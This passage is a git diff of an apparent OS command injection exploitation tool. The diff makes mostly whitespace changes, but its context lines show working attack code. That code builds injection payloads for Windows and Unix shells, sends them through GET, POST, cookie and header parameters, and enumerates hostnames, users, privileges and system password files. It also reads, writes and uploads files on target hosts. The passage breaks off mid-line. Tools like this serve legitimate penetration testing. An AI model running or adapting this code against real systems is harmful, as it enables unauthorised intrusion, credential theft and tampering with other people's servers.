print(settings.SINGLE_WHITESPACE) - continue + continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: @@ -390,9 +390,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: @@ -407,7 +407,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 9c8d1f330b..c1e7b78995 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -36,7 +36,7 @@ unescape = html.unescape except: # Python 2 unescape = _html_parser.HTMLParser().unescape - + """ The "classic" technique on result-based OS command injection. """ @@ -44,7 +44,7 @@ """ Check if target host is vulnerable. """ -def injection_test(payload, http_request_method, url): +def injection_test(payload, http_request_method, url): # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: @@ -54,7 +54,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined extra headers. headers.do_check(request) @@ -68,7 +68,7 @@ def injection_test(payload, http_request_method, url): # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -76,14 +76,14 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) @@ -158,14 +158,14 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) - + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) @@ -199,19 +199,19 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: - + # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) - + # Check if defined extra headers. - headers.do_check(request) + headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) - + else : # Check if defined method is POST. parameter = menu.options.data @@ -219,7 +219,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -227,17 +227,17 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) - + return response # Do the injection check @@ -274,7 +274,7 @@ def injection_results(response, TAG, cmd): if end_line in html_data: html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) break - + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) @@ -289,7 +289,7 @@ def injection_results(response, TAG, cmd): except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: - if menu.options.alter_shell: + if menu.options.alter_shell: shell = [right_space.rstrip() for right_space in shell] shell = [left_space.lstrip() for left_space in shell] if "<<<<" in shell[0]: @@ -297,11 +297,11 @@ def injection_results(response, TAG, cmd): else: if shell[0] == "%i" : false_result = True - + except AttributeError: false_result = True if false_result: shell = "" - + return shell diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index a5e86d6bf3..5183a0f682 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -31,15 +31,15 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL - ) + ) else: if not settings.WAF_ENABLED: if settings.USE_BACKTICKS: math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: + else: math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))" else: if settings.USE_BACKTICKS: @@ -52,25 +52,25 @@ def decision(separator, TAG, randv1, randv2): payload = (separator + "echo " + TAG + TAG + "" + TAG + "" - ) - else: + ) + else: payload = (separator + "echo " + TAG + "$(echo " + TAG + ")" + TAG + "" - ) + ) else: if settings.USE_BACKTICKS: payload = (separator + "echo " + TAG + - math_calc + + math_calc + TAG + "" + TAG + "" - ) - else: + ) + else: payload = (separator + "echo " + TAG + - math_calc + + math_calc + "$(echo " + TAG + ")" + TAG + "" - ) + ) return payload """ @@ -78,13 +78,13 @@ def decision(separator, TAG, randv1, randv2): """ def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.SKIP_CALC: + if settings.SKIP_CALC: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" - + payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p=%i " + settings.CMD_NUL ) @@ -92,14 +92,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): if settings.SKIP_CALC: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + - TAG + + TAG + TAG + "')\"" ) else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + - "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + - TAG + "'%2B'" + + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + + TAG + "'%2B'" + TAG + "')\"" ) return payload @@ -114,12 +114,12 @@ def cmd_execution(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_SUPPLIED_CMD = cmd if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + @@ -149,18 +149,18 @@ def cmd_execution_alter_shell(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"tokens=*\" %i in ('" + + "for /f \"tokens=*\" %i in ('" + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p=%i " + settings.CMD_NUL ) - + else: if settings.USE_BACKTICKS: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\"" ) - else: + else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\"" ) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index f7a8783895..49632df412 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -31,7 +31,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False cmd = settings.PS_VERSION if alter_shell: @@ -59,7 +59,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -79,10 +79,10 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur Retrieve system information """ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False + _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -131,7 +131,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_os_info(target_os, target_arch, filename, _) - + """ The current user enumeration """ @@ -143,8 +143,8 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) + else: + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -167,9 +167,9 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN if not alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = settings.IS_ROOT + cmd = cmd = checks.quoted_cmd(cmd) + else: + cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -187,15 +187,15 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ System users enumeration """ -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - cmd = settings.EVAL_SYS_USERS + cmd = settings.EVAL_SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) + else: + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -209,13 +209,13 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - + """ System passwords enumeration """ -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES +def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -248,7 +248,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -268,7 +268,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur checks.print_enumenation().hostname_msg() hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True - + if menu.options.current_user: checks.print_enumenation().current_user_msg() current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 3c21330cf4..94f3172ba5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -39,10 +39,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) else: cmd = checks.write_content(content, dest_to_write) @@ -54,7 +54,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) checks.file_write_status(shell, dest_to_write) - + """ Upload a file on the target host. """ @@ -73,7 +73,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() + cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if settings.URL_RELOAD: @@ -103,6 +103,6 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.file_read: file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 6ba8ca1abf..a643dd84a1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -61,7 +61,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - + i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) @@ -70,7 +70,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -91,7 +91,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -129,7 +129,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) @@ -139,7 +139,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -188,7 +188,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if shell == False: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": @@ -202,13 +202,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - + except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) raise - + except EOFError: if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) @@ -218,8 +218,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ except: continue - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if shell: found = True @@ -227,32 +227,32 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" - else: + else: header_name = "" the_type = " parameter" if not settings.USER_DEFINED_POST_DATA: @@ -268,7 +268,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -288,8 +288,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : @@ -312,7 +312,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: @@ -323,7 +323,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ menu.options.ignore_session = True eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -368,7 +368,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: # The main command injection exploitation. time.sleep(timesec) @@ -399,25 +399,25 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(gotshell) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): raise - + except EOFError: if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise - + raise + if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) @@ -425,7 +425,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else : sys.stdout.write("\r") sys.stdout.flush() - + """ The exploitation function. (call the injection handler) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 44692eb945..df84ed33c5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -44,15 +44,15 @@ def injection_test(payload, http_request_method, url): if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined extra headers. headers.do_check(request) - + # Get the response of the request response = requests.get_request_response(request) @@ -63,7 +63,7 @@ def injection_test(payload, http_request_method, url): # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -71,17 +71,17 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - + # Get the response of the request response = requests.get_request_response(request) @@ -189,17 +189,17 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) - + # Check if defined extra headers. - headers.do_check(request) + headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) - + else : # Check if defined method is POST. parameter = menu.options.data @@ -207,7 +207,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -215,11 +215,11 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) @@ -246,7 +246,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques Command execution results. """ def injection_results(response, TAG, cmd): - new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Grab execution results html_data = checks.page_encoding(response, action="decode") html_data = re.sub("\n", new_line, html_data) diff --git 